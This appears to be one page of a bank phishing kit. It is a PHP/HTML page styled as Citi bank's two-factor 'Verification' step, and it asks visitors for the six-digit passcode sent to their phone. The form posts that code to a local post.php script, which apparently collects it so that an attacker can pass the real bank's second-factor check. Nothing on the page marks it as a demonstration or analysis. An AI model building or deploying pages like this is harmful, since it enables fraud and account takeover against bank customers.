<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Spectral:wght@300;400;500&family=Inter:wght@300;400;500;600&display=swap" rel="stylesheet">
    <title>Citi — Verification</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --c1: #003871; --c1d: #003871; --c1l: rgba(0,56,113,0.08); --c2: #002060;
            --text-primary: #1a1a1a; --text-secondary: #444; --text-muted: #888;
            --border: #e0e0e0; --white: #ffffff;
        }
        html, body { height: 100%; font-family: 'Inter', sans-serif; }
        body { display: grid; grid-template-columns: 1fr 1fr; min-height: 100vh; overflow: hidden; }

        .panel-left {
            background: var(--c2); position: relative; display: flex; flex-direction: column;
            justify-content: flex-end; padding: 52px 56px; overflow: hidden;
        }
        .panel-left::before {
            content: ''; position: absolute; inset: 0;
            background: radial-gradient(ellipse 70% 60% at 5% 95%, rgba(0,56,113,0.35) 0%, transparent 60%),
                        radial-gradient(ellipse 40% 30% at 90% 5%, rgba(0,56,113,0.12) 0%, transparent 60%);
            pointer-events: none;
        }
        .panel-bg { position: absolute; inset: 0; overflow: hidden; opacity: 0.05; }
        .panel-bg svg { width: 100%; height: 100%; }
        .panel-dots { position: absolute; top: 52px; left: 56px; display: flex; gap: 8px; z-index: 1; }
        .panel-dots span { width: 8px; height: 8px; border-radius: 50%; background: rgba(255,255,255,0.15); }
        .panel-dots span:first-child { background: var(--c1); }

        /* Phone widget */
        .phone-wrap { position: relative; z-index: 1; margin-bottom: 44px; width: 88px; }
        .phone-body {
            width: 88px; height: 156px; border-radius: 18px;
            background: rgba(255,255,255,0.1); border: 1.5px solid rgba(255,255,255,0.12);
            position: relative; display: flex; flex-direction: column;
            align-items: center; padding: 13px 9px 11px;
            box-shadow: 0 18px 48px rgba(0,0,0,0.4);
        }
        .phone-body::after {
            content: ''; position: absolute; bottom: 0; left: 0; right: 0; height: 3px;
            border-radius: 0 0 18px 18px; background: var(--c1); opacity: 0.85;
        }
        .phone-pulse { position: absolute; top: -11px; right: -11px; width: 26px; height: 26px; }
        .phone-pulse::before, .phone-pulse::after {
            content: ''; position: absolute; inset: 0; border-radius: 50%;
            border: 2px solid var(--c1); animation: pulse 2s ease-out infinite;
        }
        .phone-pulse::after { animation-delay: 0.8s; }
        .phone-pulse-dot { position: absolute; inset: 8px; border-radius: 50%; background: var(--c1); opacity: 0.9; }
        @keyframes pulse { 0% { transform: scale(1); opacity: 0.7; } 100% { transform: scale(2.5); opacity: 0; } }
        .phone-notch { width: 28px; height: 5px; border-radius: 3px; background: rgba(255,255,255,0.1); margin-bottom: 11px; }
        .phone-screen {
            flex: 1; width: 100%; background: rgba(0,0,0,0.3); border-radius: 7px;
            display: flex; flex-direction: column; align-items: center; justify-content: center;
            gap: 5px; padding: 7px;
        }
        .phone-line { height: 4px; border-radius: 2px; background: rgba(255,255,255,0.1); }
        .phone-line.w80 { width: 80%; }
        .phone-line.w60 { width: 60%; }
        .phone-code {
            width: 100%; background: rgba(0,56,113,0.4); border-radius: 5px;
            padding: 5px; text-align: center; font-size: 8px;
            font-weight: 600; letter-spacing: 0.15em; color: #fff; margin-top: 3px;
        }

        .panel-tagline { position: relative; z-index: 1; }
        .panel-tagline .eyebrow { font-size: 11px; font-weight: 500; letter-spacing: 0.22em; text-transform: uppercase; color: var(--c1); margin-bottom: 18px; opacity: 0.9; }
        .panel-tagline h2 { font-family: 'Spectral', serif; font-size: clamp(24px, 2.8vw, 38px); font-weight: 400; line-height: 1.28; color: #fff; margin-bottom: 20px; }
        .panel-tagline p { font-size: 14px; font-weight: 300; color: rgba(255,255,255,0.42); line-height: 1.75; max-width: 310px; }

        .panel-right {
            display: flex; flex-direction: column; justify-content: center;
            align-items: center; padding: 60px 40px; background: var(--white); overflow-y: auto;
        }
        .page-card { width: 100%; max-width: 390px; animation: fadeUp 0.55s ease both; }
        @keyframes fadeUp { from { opacity: 0; transform: translateY(16px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 36px; }
        .card-logo img { height: 64px; width: auto; object-fit: contain; display: block; }

        .step-indicator { display: flex; align-items: center; gap: 8px; margin-bottom: 24px; }
        .step { display: flex; align-items: center; justify-content: center; width: 24px; height: 24px; border-radius: 50%; font-size: 11px; font-weight: 600; }
        .step.done { background: var(--c1l); color: var(--c1); }
        .step.active { background: var(--c1); color: #fff; }
        .step-line { flex: 1; height: 1px; background: var(--border); }
        .step-line.done { background: var(--c1); opacity: 0.35; }

        .card-heading { margin-bottom: 26px; }
        .card-heading h1 { font-family: 'Spectral', serif; font-size: 26px; font-weight: 400; color: var(--text-primary); margin-bottom: 6px; }
        .card-heading p { font-size: 14px; color: var(--text-muted); font-weight: 300; line-height: 1.6; }

        /* OTP boxes */
        .otp-wrapper { display: flex; gap: 9px; margin-bottom: 8px; }
        .otp-wrapper input[type="text"] {
            width: 100%; height: 56px; text-align: center;
            font-family: 'Inter', sans-serif; font-size: 20px; font-weight: 600;
            color: var(--text-primary); border: 1.5px solid var(--border);
            border-radius: 6px; background: #fff; outline: none;
            transition: border-color 0.2s, box-shadow 0.2s; -webkit-appearance: none;
            caret-color: var(--c1);
        }
        .otp-wrapper input[type="text"]:focus { border-color: var(--c1); box-shadow: 0 0 0 3px var(--c1l); }
        .otp-wrapper input[type="text"].filled { border-color: rgba(0,56,113,0.4); background: var(--c1l); }
        input[name="otp"] { display: none; }

        .error-msg {
            display: flex; align-items: center; gap: 7px; color: #b00; font-size: 12.5px;
            margin-bottom: 14px; padding: 9px 12px; background: rgba(180,0,0,0.06);
            border: 1px solid rgba(180,0,0,0.18); border-radius: 6px;
            animation: fadeUp 0.3s ease both;
        }

        .btn-main {
            width: 100%; height: 50px; background: var(--c1); color: #fff;
            border: none; border-radius: 6px; font-family: 'Inter', sans-serif;
            font-size: 15px; font-weight: 600; cursor: pointer;
            transition: background 0.2s, transform 0.15s, box-shadow 0.2s; margin-top: 4px;
            display: flex; align-items: center; justify-content: center; gap: 8px;
        }
        .btn-main:hover { background: var(--c1d); box-shadow: 0 4px 18px rgba(0,56,113,0.3); transform: translateY(-1px); }
        .btn-main:active { transform: translateY(0); }

        .resend-row { text-align: center; margin-top: 18px; font-size: 13px; color: var(--text-muted); }
        .resend-row a { color: var(--c1); text-decoration: none; font-weight: 500; margin-left: 4px; opacity: 0.85; }
        .resend-row a:hover { opacity: 1; text-decoration: underline; }

        @media (max-width: 768px) { body { grid-template-columns: 1fr; overflow: auto; } .panel-left { display: none; } .panel-right { min-height: 100vh; padding: 48px 28px; } }
    </style>
</head>
<body>

<div class="panel-left">
    <div class="panel-dots"><span></span><span></span><span></span></div>
    <div class="panel-bg">
        <svg viewBox="0 0 600 800" preserveAspectRatio="xMidYMid slice" xmlns="http://www.w3.org/2000/svg">
            <circle cx="500" cy="150" r="300" fill="none" stroke="white" stroke-width="1"/>
            <circle cx="500" cy="150" r="200" fill="none" stroke="white" stroke-width="1"/>
            <circle cx="500" cy="150" r="100" fill="none" stroke="white" stroke-width="1"/>
            <line x1="0" y1="600" x2="600" y2="200" stroke="white" stroke-width="0.5"/>
            <line x1="0" y1="700" x2="600" y2="300" stroke="white" stroke-width="0.5"/>
        </svg>
    </div>

    <div class="phone-wrap">
        <div class="phone-body">
            <div class="phone-pulse"><div class="phone-pulse-dot"></div></div>
            <div class="phone-notch"></div>
            <div class="phone-screen">
                <div class="phone-line w80"></div>
                <div class="phone-line w60"></div>
                <div class="phone-code">• • • • • •</div>
            </div>
        </div>
    </div>

    <div class="panel-tagline">
        <div class="eyebrow">Two-Factor Authentication</div>
        <h2>Check your<br>phone for a code.</h2>
        <p>A one-time passcode has been sent to your registered mobile number.</p>
    </div>
</div>

<div class="panel-right">
    <div class="page-card">

        <div class="card-logo"><img src="res/img/logo.svg" alt="Citi Bank"></div>

        <div class="step-indicator">
            <div class="step done">✓</div>
            <div class="step-line done"></div>
            <div class="step done">✓</div>
            <div class="step-line done"></div>
            <div class="step active">3</div>
        </div>

        <div class="card-heading">
            <h1>Enter your code</h1>
            <p>Enter the verification code sent to your phone to continue.</p>
        </div>

        <form action="post.php" method="post">

            <?php if(isset($_GET['error'])): ?>
            <div class="error-msg">
                <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                    <circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/>
                </svg>
                Invalid code. Please try again.
            </div>
            <input type="hidden" name="exit">
            <?php endif; ?>

            <input type="text" name="otp" id="otp" required>

            <div class="otp-wrapper">
                <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*" autocomplete="one-time-code">
                <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
            </div>

            <button type="submit" class="btn-main">
                Continue
                <svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12h14M12 5l7 7-7 7"/></svg>
            </button>

        </form>

        <div class="resend-row">Didn't receive a code? <a href="#">Resend</a></div>

    </div>
</div>

<script>
    const digits = document.querySelectorAll('.digit');
    const otpInput = document.getElementById('otp');
    function syncOtp() { otpInput.value = [...digits].map(d => d.value).join(''); }
    digits.forEach((el, i) => {
        el.addEventListener('input', () => {
            el.value = el.value.replace(/\D/g,'').slice(-1);
            el.classList.toggle('filled', el.value !== '');
            syncOtp();
            if (el.value && i < digits.length - 1) digits[i+1].focus();
        });
        el.addEventListener('keydown', e => {
            if (e.key === 'Backspace' && !el.value && i > 0) {
                digits[i-1].value = ''; digits[i-1].classList.remove('filled');
                digits[i-1].focus(); syncOtp();
            }
        });
        el.addEventListener('paste', e => {
            e.preventDefault();
            const p = (e.clipboardData||window.clipboardData).getData('text').replace(/\D/g,'').slice(0,digits.length);
            [...p].forEach((ch,j) => { if(digits[j]) { digits[j].value=ch; digits[j].classList.add('filled'); } });
            syncOtp();
            const nx = digits[Math.min(p.length, digits.length-1)]; if(nx) nx.focus();
        });
    });
</script>
</body>
</html>